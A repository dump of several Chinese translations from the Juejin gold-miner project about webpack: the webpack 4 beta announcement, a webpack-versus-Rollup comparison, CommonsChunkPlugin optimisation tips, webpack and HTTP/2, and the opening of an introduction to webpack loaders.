3 的发布之后,我们向社区保证,主要版本的更迭会有一个更长的开发周期。 我们已经兑现了这个承诺[并继续为之付诸实施],给你们带来了一大套特性,改进和错误修复,我们已经迫不及待地期待你们的实践!开始吧! #### 🤷‍怎么安装 [v4.0.0-beta.0] 如果你用的是 `yarn`: `yarn add webpack@next webpack-cli --dev` 或者 `npm`: `npm install webpack@next webpack-cli --save-dev` #### 🛠怎么迁移? 只有更多的人帮助测试 webpack 4,并且反馈不兼容的插件和加载器,我们才能构建一份更加生动的迁移指南。 **因此我们需要你看看**[**官方的更新日志**](https://github.com/webpack/webpack/releases/tag/v4.0.0-beta.0) **还有**[**我们的迁移草案**](https://github.com/webpack/webpack/issues/6357)**并提供我们有所缺失的反馈!这将帮助我们的文档团队创建我们的官方稳定版本迁移指南!** ### webpack 4 中有什么新功能呢? 下面就是一些你将会喜欢看到的更值得注意的功能。若想了解更新,功能和内部 API 修改的**完整的清单**,[**请参阅我们的修改日志**](https://github.com/webpack/webpack/releases/tag/v4.0.0-beta.0) ### 🚀更好的性能 在 webpack 4 的多个场景中,性能将显着增强。下面是我们为实现这一目标而做出的一些显著改动: * 默认情况下,在使用 `production` 模式时,我们会使用 UglifyJS 自动并行编译和缓存来减少工作量 。 * 我们发布了一个新版的[**插件系统**](https://github.com/webpack/tapable)以便事件钩子和处理函数是单一形态的。 * 另外,webpack 现已放弃对 Node v4 的支持,使我们能够添加大量的新型 ES6 语法和数据结构,并且也通过 V8 进行了优化。**迄今为止,我们已经收到几份[构建时间由 1 小时减少到 12 分钟](https://github.com/webpack/webpack/issues/6248)的真实报告**! PS: 我们还没有完全实现缓存和并行化 😉 这是[webpack 5 的里程碑]。 ### 🔥更好的默认配置 —— 零配置 直到今天,webpack 一直要求你明确设置你的 `entry` 和 `output` 属性。对于 webpack 4 ,webpack 会自动假设你的 `entry` 属性是 `./src`,并且打包会默认输出到 `./dist` 中。 这意味着 **你开始使用 webpack 不再需要一个配置!** ![](https://cdn-images-1.medium.com/max/1000/1*SmNPl3vyqGNg6Mqy0GqKyg.png) webpack 4.0.0-beta.0 运行一个没有配置的版本 现在 webpack 是一个零配置开箱即用的打包器,我们将为 **4.x** 和 **5.0** 奠定基础,以便将来提供更多的默认功能。 ### 💪更好的默认模式 —— mode 你现在必须在两种模式之间选择 (`mode` 或 `--mode`):`production` 或 `development` * 生产模式可以为你提供各种优化。这包含代码压缩,作用域提升,未引用模块移除,无副作用模块修剪,还包含引入一些像 `NoEmitOnErrorsPlugin` 这样需要你手动使用的插件。 * 开发模式优化了开发速度和开发体验。同样,我们会自动在你的包输出中包含像路径名,eval-source-maps 这样的功能,以便阅读代码和快速构建! ### 🍰sideEffects 设置 —— 在打包体积上巨大的胜利 我们在 package.json 中引入了对 `sideEffects: false` 的支持。当这个字段被添加时,它向 webpack 发出信号,表示被使用的库没有副作用。这意味着 webpack 可以安全地清除你代码中使用的任何重复导出模块。 例如,从 `lodash-es` 中单独导入 `export` 将会花费 ~223 KiB [压缩后的]。**在 webpack 4 中,现在这只花费 ~3 KiB !** ![Snipaste_2018-01-27_16-52-08.png](https://i.loli.net/2018/01/27/5a6c3dc6a8391.png) ### 🌳支持 JSON 和 Tree Shaking 当你使用 ESModule 语法 `import` JSON 时,webpack 会消除 “JSON Module” 中未使用的导出。对于那些已经将大量未使用模块的 JSON 导入到你的代码的应用,你会看到 **你打包体积明显减小**。 ### 😍升级到 UglifyJS2 这意味着你可以使用 ES6 语法,压缩它,而无需使用转换器。 我们要感谢 UglifyJs2 的贡献者团队为支持 ES6 而付出的无私和辛勤的努力。这不是一件简单的任务,我们很乐意拜访[你们的代码仓库来表达对你们的感谢和支持](https://github.com/mishoo/UglifyJS2/graphs/contributors?from=2017-01-14&to=2018-01-25&type=c)。 ![](https://cdn-images-1.medium.com/max/800/1*rt3uFkb9IAHddXLxYMjCgw.png) UglifyJS2 现在支持 ES6 JavaScript 语法! ### 🐐 模块类型的引入 + 支持 .mjs 历史上,JavaScript 是 webpack 中唯一的一流模块类型。这给那些不能高效的打包 CSS/HTML 的用户带来了很多尴尬的痛苦。我们完全从我们的代码库中抽象出了 JavaScript 特性,以允许这个新的 API。目前建成,我们现在有5个模块类型实现引入: * `javascript/auto`: (在 **webpack 3** 默认启用) 启用了所有的 Javascript 模块系统:CommonJS,AMD,ESM * `javascript/esm`: EcmaScript 模块,所有的其他模块系统不可用(默认 .mjs 文件) * `javascript/dynamic`: 只有 CommonJS 和,EcmaScript 模块不可用 * `json`: JSON 数据,它可以通过 require 和 import 来引入使用(默认 .json 的文件) * `webassembly/experimental`: WebAssembly模块(当前为 .wasm 文件的实验文件和默认文件) * 另外 webpack 现在支持查找 `.wasm`, `.mjs`, `.js` 和 `.json` 拓展文件来解析 **这个功能最让人兴奋的是,我们可以继续使用 CSS 和 HTML 模块模型 (4.x)。**这将允许像 HTML 这样的功能作为你的入口点! ### 🔬支持 WebAssembly Webpack 现在默认支持任何本地 WebAssembly 模块的 `import` 和 `export`。这意味着你也可以写加载器,让你可以直接 `import` Rust,C++,C 和其他 WebAssembly 语言: ### 💀去除 CommonsChunkPlugin 我们也删除了 `CommonsChunkPlugin`,并默认启用了它的许多功能。另外,对于需要对其缓存策略进行细粒度控制的用户,我们已经添加了 `optimization.splitChunks` 和 `optimization.runtimeChunk` [它们具有更丰富,更灵活的功能](https://gist.github.com/sokra/1522d586b8e5c0f5072d7565c2bee693) ### 💖还有更多! 还有很多的功能 **我们强烈建议你在我们的**[**官方更新日志**](https://github.com/webpack/webpack/releases/tag/v4.0.0-beta.0)上查看所有。 ### ⌚ 从现在开始倒计时 **正如所承诺的那样,我们将从今天开始等待一个月,然后再发布 webpack 4 稳定版。** 这使我们的插件,加载器和集成生态系统有时间去测试,报告并升级到 webpack 4.0.0 中! ![Snipaste_2018-01-27_16-54-02.png](https://i.loli.net/2018/01/27/5a6c3e33c6cd1.png) 我们需要你帮助我们升级和测试这个测试版。我们今天测试的越多,我们就可以更快的分诊和识别任何可能出现的问题! 非常感谢所有帮助我们完成 webpack 4 的贡献者。正如我们所说,wepack 的成就是我们大家和生态系统的共同努力造就的。 * * * 没有时间帮忙贡献?想要以其他方式回馈?通过[捐助给我们的开放集体](https://opencollective.com/webpack)成为 webpack 的支持者或赞助商。开放集体不仅有助于支持核心团队,也支持花费了大量空闲时间改善组织的贡献者! ❤ 感谢[Florent Cailhol](https://medium.com/@ooflorent?source=post_page), [Tobias Koppers](https://medium.com/@sokra?source=post_page), 和[John Reilly](https://medium.com/@johnny_reilly?source=post_page). --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/webpack-and-rollup-the-same-but-different.md ================================================ > * 原文地址:[Webpack and Rollup: the same but different](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c) > * 原文作者:[Rich Harris](https://medium.com/@Rich_Harris?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD) # 同中有异的 Webpack 与 Rollup # ![](https://cdn-images-1.medium.com/max/1000/1*rtjClMZ8sq3cLFT9Aq8Xyg.png) 本周,Facebook 将一个[非常大的 pull request](https://github.com/facebook/react/pull/9327) 合并到了 React 主分支。这个 PR 将 React 当前使用的构建工具替换成了 [Rollup](https://rollupjs.org/)。这让许多人感到不解,纷纷在推特上提问:“为什么你们选择 Rollup 而不选择 Webpack 呢?”[1](https://twitter.com/stanlemon/status/849366789825994752) [2](https://twitter.com/MrMohtas/status/849362334988595201) [3](https://twitter.com/kyleholzinger/status/849683292760797184) 有人问这个问题是很正常的。[Webpack](https://webpack.js.org/) 是现在 JavaScript 社区中最伟大的成功传奇之一,它有着数百万/月的下载量,驱动了成千上万的网站与应用。它有着巨大的生态系统、众多的贡献者,并且它与一般的社区开源项目不同——它有着[意义非凡的经济支持](https://opencollective.com/webpack)。 相比之下,Rollup 是那么的微不足道。但是,除了 React 之外,Vue、Ember、Preact、D3、Three.js、Moment 等众多知名项目都使用了 Rollup。为什么会这样呢?为什么这些项目不使用大家一致认可的 JavaScript 模块打包工具呢? ### 这两个打包工具的优缺点 ### Webpack 由 [Tobias Koppers](https://medium.com/@sokra) 在 2012 年创建,用于解决当时的工具不能处理的问题:构建复杂的单页应用(SPA)。尤其是它的两个特点改变了一切: 1. **代码分割**可以将你的 app 分割成许多个容易管理的分块,这些分块能够在用户使用你的 app 时按需加载。这意味着你的用户可以有更快的交互体验。因为访问那些没有使用代码分割的应用时,必须要等待整个应用都被下载并解析完成。当然,你**也可以**自己手动去进行代码分割,但是……总之,祝你好运。 2. **静态资源**的导入:图片、CSS 等静态资源可以直接导入到你的 app 中,就和其它的模块、节点一样能够进行依赖管理。因此,我们再也不用小心翼翼地将各个静态文件放在特定的文件夹中,然后再去用脚本给文件 URL 加上哈希串了。Webpack 已经帮你完成了这一切。 而 Rollup 的开发理念则不同:它利用 ES2015 模块的巧妙设计,尽可能高效地构建精简且易分发的 JavaScript 库。而其它的模块打包器(包括 Webpack在内)都是通过将模块分别封装进函数中,然将这些函数通过能在浏览器中实现的 `require` 方法打包,最后依次处理这些函数。在你需要实现按需加载的时候,这种做法非常的方便,但是这样做引入了很多无关代码,比较浪费资源。当[你有很多模块要打包的时候,这种情况会变得更糟糕](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。 ES2015 模块则启用了一种不同的实现方法,Rollup 用的也就是这种方法。所有代码都将被放置在同一个地方,并且会在一起进行处理。因此得到的最终代码相较而言会更加的精简,运行起来自然也就更快。你可以[点击这儿亲自试试 Rollup 交互式解释器(REPL)](https://rollupjs.org/repl)。 但这儿也存在一些需要权衡的点:代码分割是一个很棘手的问题,而 Rollup 并不能做到这一点。同样的,Rollup 也不支持模块热替换(HMR)。而且对于打算使用 Rollup 的人来说,还有一个最大的痛点:它通过[插件](https://github.com/rollup/rollup-plugin-commonjs)处理大多数 CommonJS 文件的时候,一些代码将无法被翻译为 ES2015。而与之相反,你可以把这一切的事全部放心交给 Webpack 去处理。 ### 那么我到底应该选用哪一个呢? ### 到目前为止,我们已经清晰地了解了这两个工具共存并且相互支撑的原因 — 它们应用于不同的场景。那么,现在这个问题的答案简单来说就是: > 在开发应用时使用 Webpack,开发库时使用 Rollup 当然这不是什么严格的规定——有很多的网站和 app 一样是使用 Rollup 构建的,同时也有很多的库使用 Webpack。不过,这是个很值得参考的经验之谈。 如果你需要进行代码分割,或者你有很多的静态资源,再或者你做的东西深度依赖 CommonJS,毫无疑问 Webpack 是你的最佳选择。如果你的代码基于 ES2015 模块编写,并且你做的东西是准备给他人使用的,你或许可以考虑使用 Rollup。 ### 对于包作者的建议:请使用 `pkg.module`! ### 在很长一段时间里,使用 JavaScript 库是一件有点风险的事,因为这意味着你必须和库的作者在模块系统上的意见保持一致。如果你使用 Browserify 而他更喜欢 AMD,你就不得不在 build 之前先强行将两者粘起来。[通用模块定义(UMD)](https://github.com/umdjs/umd)格式对这个问题进行了 **部分** 的修复,但是它没有强制要求在任何场景下都使用它,因此你无法预料你将会遇到什么坑。 ES2015 改变了这一切,因为 `import` 与 `export` 就是语言规范本身的一部分。在未来,不再会有现在这种模棱两可的情况,所有东西都将更加无缝地配合工作。不幸的是,由于大多数浏览器和 Node 还不支持 `import` 和 `export`,我们仍然需要依靠 UMD 规范(如果你只写 Node 的话也可以用 CommonJS)。 现在给你的库的 package.json 文件增加一个 `"module": "dist/my-library.es.js"` 入口,可以让你的库同时支持 UMD 与 ES2015。**这很重要,因为 Webpack 和 Rollup 都使用了 `pkg.module` 来尽可能的生成效率更高的代码**——在一些情况下,它们都能使用 [tree-shake](https://webpack.js.org/guides/tree-shaking/) 来精简掉你的库中未使用的部分。 *了解更多有关 `pkg.module` 的内容请访问 [Rollup wiki](https://github.com/rollup/rollup/wiki/pkg.module) 。* 希望这篇文章能让你理清这两个开源项目之间的关系。如果你还有问题,可以在推特联系[rich_harris](https://twitter.com/rich_harris)、[rollupjs](https://twitter.com/rollupjs)、[thelarkinn](https://twitter.com/thelarkinn)。祝你打包快乐! 感谢 Rich Harris 写了这篇文章。我们坚信开源协作是共同促进 web 技术前进的重要动力。 没有时间为开源项目做贡献?想要以其它方式回馈吗?欢迎通过 [Open Collective 进行捐赠](https://opencollective.com/webpack),成为 Webpack 的支持者或赞助商。Open Collective 不仅会资助核心团队,而且还会资助那些贡献出空闲时间帮助我们改进项目的贡献者们。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md ================================================ > * 原文地址:[webpack bits: Getting the most out of the CommonsChunkPlugin()](https://medium.com/webpack/webpack-bits-getting-the-most-out-of-the-commonschunkplugin-ab389e5f318#.hn8v7ul1f) > * 原文作者:本文已获原作者 [Sean T. Larkin](https://medium.com/@TheLarkInn) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[reid3290](https://github.com/reid3290) > * 校对者:[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD) # webpack 拾翠:充分利用 CommonsChunkPlugin() # webpack 核心团队隔三差五地就会在 Twitter 上作一些寓教于乐的[技术分享](https://twitter.com/TheLarkInn/status/842817690951733248)。 ![Markdown](http://i4.buimg.com/1949/614a949156a09f9e.png) 这次的“游戏规则”很简单:安装 `webpack-bundle-analyzer`,生成一张包含所有 bundles 信息的酷炫图片分享给我,然后 webpack 团队会帮忙指出任何潜在的问题。 ### 我们发现了什么? ### 最常见的问题是代码重复:库、组件、代码在多个(同步的、异步的)bundles 中重复出现。 ### 案例一:很多重复代码的 vendor bundles ### ![Markdown](http://i4.buimg.com/1949/4861f2a4f8e4ad74.png) [Swizec Teller](https://medium.com/@swizec) 分享了一个构建图(实际上是对 8-9 个独立单页应用的构建)。在众多例子中我决定选择这一个,因为我们可以从中学到很多技术,下面让我们来仔细分析一下: 距离 “FoamTree” 图标最近的是应用本身的代码,而其他所有 node_modules 的代码则是左边那些以 "_vendor.js" 结尾的。 单从这幅图(不需要看实际配置文件)中我们就能推断出很多事情。 每个单页应用都运用了一个 `new CommonsChunkPlugin` ,并以其 entry 和 vendor 代码为目标。这会生成两个 bundles,一个只包含 node_modules 里面的代码,另一个则只包含应用本身的代码。(Swizec Teller)甚至还提供了部分配置信息: ![Markdown](http://i4.buimg.com/1949/5a6138ec9a638b46.png) Object.keys(activeApps) .map(app => new webpack.optimize.CommonsChunkPlugin({ name: `${app}_vendor`, chunks: [app], minChunks: isVendor })) 其中 `activeApps` 变量很可能是用来表示独立入口点的。 #### 可以优化的地方 #### 下面几个画圈的是可以优化的地方。 #### “Meta” 缓存 #### 从上图可以看出,许多大型代码库(例如 momentjs、lodash、jquery 等)同时被 6 个(甚至更多) bundles 用到了。将所有 vendors 打包到一个独立 bundle 中的策略是很好的,但其实对**所有 vendor bundles** 也应该采取同样的策略。 我建议 [Swizec](https://medium.com/@swizec) 将如下插件添加到**插件数组的末尾**: new webpack.optimize.CommonsChunkPlugin({ children: true, minChunks: 6 }) 这是在告诉 webpack: > **嘿 webpack,请检查所有的 chunks(包括那些由 webpack 生成的 vendor chunks),找出那些在 6个及6个以上 chunks 中都出现过的模块,并将其移到一个独立的文件中。** ![Markdown](http://i4.buimg.com/1949/e78d1afe76a28e8c.png) ![Markdown](http://i4.buimg.com/1949/34e0c53c6bcbebc0.png) 如你所见,现在所有符合要求的模块都被抽离到一个独立的文件中,[Swizec](https://medium.com/@swizec) 指出这个应用程序大小降低了 17%。 ### 案例二:异步 chunks 中的重复 vendors ![Markdown](http://i4.buimg.com/1949/6c6cf1a954d205cf.png) 就整体代码体积来说,这种数量的重复并不严重;但是,如果你看到下面这张完整大图,你就会发现每一个异步 chunk 中都有 3 个一模一样的模块。 异步 chunks 是指那些文件名中包含 "[number].[number].js" 的 chunk。 如上图所示,四五十个异步 bundles 都用到了两三个同样的组件,我们该如何利用 `CommonsChunkPlugin` 来解决此问题呢? #### 创建一个异步 Commons Chunk #### 解决方法和第一个案例中的类似,但是需要将配置选项中的 `async` 属性设为 `true`,代码如下: new webpack.optimize.CommonsChunkPlugin({ async: true, children: true, filename: "commonlazy.js" }); 类似地 —— webpack 会扫描所有 chunks 并检查公共模块。由于设置了 `async: true`,只有代码拆分的 bundles 会被扫描。因为我们并没有指明 `minChunks` 的值,所以 webpack 会取其默认值 3。综上,上述代码的含义是: > **嘿 webpack,请检查所有的普通(即懒加载的)chunks,如果某个模块出现在了 3 个或 3 个以上的 chunks 中,就将其分离到一个独立的异步公共 chunk 中去。** 效果如下图所示: ![Markdown](http://i4.buimg.com/1949/626cbab70072f442.png) 现在异步 chunks 都非常的小,并且所有代码都被聚合到 `commonlazy.js` 文件中去了。因为这些 bundles 本来就很小了, 首次访问可能都察觉不到代码体积的变化。现在,每一个代码拆分的 bundle 所需携带的数据更少了;而且,通过将这些公共模块放到一个独立可缓存的 chunk 中,我们节省了用户加载时间,减少了需要传输的数据量(data consumption)。 #### 更多控制:minChunks 函数 #### ![Markdown](http://i4.buimg.com/1949/4c434dda7236e0e0.png) 那如果你想要跟多的控制权呢?某些情况下你可能并不想要一个单独的共享 bundle,因为并不是每一个懒加载/入口 chunk 都要用到它。`minChunks` 属性的取值也可以是一个函数!该函数可以用作“过滤器”,决定将哪些模块加到新创建的 bundle 中去。示例如下: new webpack.optimize.CommonsChunkPlugin({ filename: "lodash-moment-shared-bundle.js", minChunks: function(module, count) { return module.resource && /lodash|moment/.test(module.resource) && count >= 3 } }) 上例含义是: > **呦 webpack,如果你发现某个模块的绝对路径和 lodash 或 momentjs 相匹配并且出现在了 3 个(或 3 个以上)独立的 entries/chunks 中,请将其抽取到一个独立的 bundle 中去。** 通过设置 `async: true`,你也可以将此方法应用到异步 bundles 中。 #### 更多更多控制 ![Markdown](http://i4.buimg.com/1949/4c434dda7236e0e0.png) 有了这种 `minChunks`,你就可以为特定的 entries 和 bundles 生成更小的可缓存 vendors 的子集。最终,你的代码看起来大概就像这样: function lodashMomentModuleFilter(module, count) { return module.resource && /lodash|moment/.test(module.resource) && count >= 2; } function immutableReactModuleFilter(module, count) { return module.resource && /immutable|react/.test(module.resource) && count >=4 } new webpack.optimize.CommonsChunkPlugin({ filename: "lodash-moment-shared-bundle.js", minChunks: lodashMomentModuleFilter }) new webpack.optimize.CommonsChunkPlugin({ filename: "immutable-react-shared-bundle.js", minChunks: immutableReactModuleFilter }) ### 没有银弹! ### `CommonsChunkPlugin()` 固然很强大,但要记住本文中的例子都是针对特定应用的。因此,在复制-粘贴这些代码片段之前,请先听听 [Sam Saccone](https://medium.com/@samccone) 、[Paul Irish](https://medium.com/@paul_irish) 和 [MPDIA](https://youtu.be/6m_E-mC0y3Y?t=11m38s) 的建议,避免用错了方法。 在应用解决方法之前,一定要理解方法背后的思路! ### 哪里还有更多例子? ### 上述只是 `CommonsChunkPlugin()` 的部分用例,更多资源请参考我们 webpack/webpack core GitHub 仓库中的 `[/examples](https://github.com/webpack/webpack/tree/master/examples)` [目录](https://github.com/webpack/webpack/tree/master/examples)。如果你还有其他好想法,欢迎 [Pull Request](https://github.com/webpack/webpack/blob/master/CONTRIBUTING.md)! 没时间贡献代码?希望以其他方式做贡献?向[我们的 open collective](https://opencollective.com/webpack) 捐款,即刻成为赞助商。Open Collective 不仅为核心团队提供支持,同时也帮助那些为提升我们社区质量而花费了大量宝贵的空闲时间的贡献者们!❤ --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/webpack-http-2.md ================================================ > * 原文地址:[webpack & HTTP/2](https://medium.com/webpack/webpack-http-2-7083ec3f3ce6) > * 原文作者:[Tobias Koppers](https://medium.com/@sokra?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/webpack-http-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/webpack-http-2.md) > * 译者:[薛定谔的猫](https://github.com/Aladdin-ADD) > * 校对者:[perseveringman](https://github.com/perseveringman)、[HydeSong](https://github.com/HydeSong) # webpack & HTTP/2 让我们从 HTTP/2 的一个传言开始: > 有了 HTTP/2,你就不再需要打包模块了。 HTTP/2 可以多路复用,所有模块都可以并行使用同一个连接,因此多个请求不再需要多余的往返开销。每个模块都可以独立缓存。 很遗憾,现实并不如意。 ## 以前的文章 下面的文章详细解释了相关信息,并且做了一些实验来验证。你可以阅读它们(或者跳过它们,只看总结)。 [**Forgo JS packaging? Not so fast** *The traditional advice for web developers is to bundle the JavaScript files used by their webpages into one or (at most…*engineering.khanacademy.org](http://engineering.khanacademy.org/posts/js-packaging-http2.htm) [**The Right Way to Bundle Your Assets for Faster Sites over HTTP/2** *Speed is always a priority in web development. With the introduction of HTTP/2, we can have increased performance for a…*medium.com](https://medium.com/@asyncmax/the-right-way-to-bundle-your-assets-for-faster-sites-over-http-2-437c37efe3ff) 文章主旨: * 相比拼接为一个文件,多个文件传输仍然有 **协议开销(protocol overhead)**。 * **压缩**成单文件优于多个小文件。 * 相比处理单个大文件,**服务器**处理多个小文件较慢。 因此我们需要在两者中间取得一个折中。我们将模块分为 n 个包,n 大于 1,小于模块数。改变其中一个模块使其缓存失效,因为相应的包只是整个应用的一部分,其它的包的缓存仍然有效。 > 更多的包意味着缓存命中率更高,但不利于压缩。 ## AggressiveSplittingPlugin webpack 2 为你提供了这样的工具。webpack 内部大多都是这样,将一组模块组装成块(chunk)输出一个文件。我们还有一个优化阶段可以改变这些块(chunk),只是需要一个插件来做这个优化。 插件 _AggressiveSplittingPlugin_ 将原始的块分的更小。你可以指定你想要的块大小。它提高了缓存,但不利于压缩(对 HTTP/1 来说也影响传输时间)。 为了结合相似的模块,它们在分离之前会按照路径的字母顺序排序。通常在同一目录下的文件往往是相关的,从压缩来看也是一样。通过这种排序,它们也就能分离到相同的块中了。 对于 HTTP/2 我们现在有高效的分块方式了。 ## 修改应用 但这还没结束。当应用更新时我们要尽量复用之前创建的块。因此每次 AggressiveSplittingPlugin 都能够找到一个合适的块大小(在限制内),并将块的**模块**(modules)和**哈希**(hash)保存到 *records* 中。 > **Records** 是 webpack 编译过程中**编译状态**的概念,可以通过 JSON 文件存取。 当再次调用 **AggressiveSplittingPlugin**,在尝试分离剩余模块之前,它会先尝试从 _records_ 中**恢复**块。这就确保已缓存的块能够被复用。 ## 启动和服务(Bootstrapping and Server) 使用这项技术的应用不再输出包含在 HTML 文件中的单独文件,相反,它输出多个需要被加载的块(chunk),应用就能使用多个 script 标签(并行)加载每个块。就像这样: ``` ``` webpack按时间**先后顺序**输出这些块。最旧的文件先执行,最新的在最后。浏览器可以先执行已被缓存的块,同时加载最新的文件。旧文件更可能已经被缓存。 当 HTML 文件被请求时,**HTTP/2 服务端推送**可以将这些块推送给客户端。最好能先推送最新的文件,因为旧文件更可能已经被缓存。如果已经有缓存,客户端可以取消服务端的推送,但这需要一次往返。 webpack 将代码分离用于 **按需加载**,可以处理并行请求。 ## 结论 webpack 2 为你提供了用于 HTTP/2 的,能改善缓存和传输的工具。不用担心你的技术栈不面向未来了。 注意 _AggressiveSplittingPlugin_ 仍然是**实验特性**。 我对你的使用体验很感兴趣哦~ --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/webpack-your-bags.md ================================================ >* 原文链接 : [Webpack your bags](https://blog.madewithlove.be/post/webpack-your-bags/) * 原文作者 : [Maxime Fabre](https://twitter.com/anahkiasen) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [达仔](https://github.com/Zhangjd) * 校对者: [Malcolm](https://github.com/malcolmyu)、[L9m](https://github.com/L9m) # 让 Webpack 来帮你打包吧 ![](https://webpack.github.io/assets/what-is-webpack.png) 你可能已经在前端社区听过这个称为 **Webpack** 的新玩意儿了。有人将它当作像 **Gulp** 的构建工具,也有人把它作为一个类似 **Browserify** 的模块管理器,如果你没有深入研究的话,你可能会因此感到困惑。但另一方面,如果你已经了解过它了,你大概还是会感到疑惑,因为官网表示 Webpack 身兼两职。 实话实说,刚开始时,围绕 “什么是 Webpack” 的模棱两可的回答让我很挫败。毕竟我已经建立起一套构建系统了,并且这套系统运行良好。并且如果你也在密切关注 Javascript 生态圈的发展的话,你大概也会被过去的种种盲目跟风所伤害过。现在我知道的多一点了,我觉得我应该写下这篇文章给那些对于 Webpack 保持观望态度的人们看看到底什么是 Webpack,更重要的是,为什么 Webpack 很棒,值得我们更多的关注。 ## 什么是 Webpack? 现在回答介绍中提出的问题:Webpack 到底是一个构建系统,还是一个模块打包器?嗯,它两种都是 —— 我的意思不是它两种工作都做,而是它把这两种工作组合起来了。Webpack 并不是帮你分别构建静态资源和打包模块,而是_把你的静态资源也当作模块本身_。 更确切地说,这意味着你不需要构建你的 Sass 文件和对图片资源做优化了,只需要一边把它们都包含进来,然后打包你所有的模块,另一边在页面里引用资源。比如这样: ```javascript import stylesheet from 'styles/my-styles.scss'; import logo from 'img/my-logo.svg'; import someTemplate from 'html/some-template.html'; console.log(stylesheet); // "body{font-size:12px}" console.log(logo); // "data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5[...]" console.log(someTemplate) // "

            Hello

            " ``` 你的所有静态资源都可以被当作是模块,然后引入、修改、操作,并打包到最终的输出文件中。 为了实现这个目的,你需要在 Webpack 配置文件中注册 **loaders** 。Loaders 是一些小插件,其功能基本可以归纳为“对不同的类型的文件执行不同的操作”。以下是一些 loader 的例子: { // 当你引入 .ts 后缀的文件时,使用 TypeScript 解析文件 test: /\.ts/, loader: 'typescript', }, { // 遇到图片文件,使用 image-webpack (封装了 imagemin) 压缩,并转换为内联 data64 URLs test: /\.(png|jpg|svg)/, loaders: ['url', 'image-webpack'], }, { // 遇到 SCSS 文件,使用 node-sass 解析,然后传递给 autoprefixer,最终以 CSS 字符串的形式返回结果 test: /\.scss/, loaders: ['css', 'autoprefixer', 'sass'], } 所有 loader 最终的输出都是返回字符串。这使得 Webpack 可以把他们都打包进 Javascript 模块当中。在例子中,你的 Sass 文件经过 loader 转换,最终输出的字符串可能是这样的: export default 'body{font-size:12px}'; ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i0yb05tmg20dw06i4qp.gif) ## 到底为什么你要那样做呢? 一旦你明白了 Webpack 是什么之后,你会很快想到第二个问题:Webpack 这种做法有什么好处呢?“图像和 CSS 都在 JS 中?这到底是什么鬼!” 试想,在很长的一段时间里,我们被教导要把所有东西整合到一个文件里,这样的好处是可以减少 HTTP 请求。 这种做法有一个很大的缺陷,因为现在大部分人把他们所有的静态资源打包到一个 `app.js` 文件中。这意味着在大部分时间里,打开某个特定页面,你额外加载了一大堆不必要的静态资源。如果你不想那样做的话,你很可能会把静态资源手动包含在特定页面里,导致依赖树非常混乱,难以维护和保持跟踪:这个依赖项用在哪个页面中?样式表 A 和 B 会影响哪些页面? 这两种做法无关对错。可以把 Webpack 设想为一个平衡点 —— 既不只是构建系统,也不是打包器,它是一个聪明绝顶的模块打包系统。一旦合理配置好后,它甚至比你更了解你的技术栈,并帮你实现最佳的优化方案。 ## 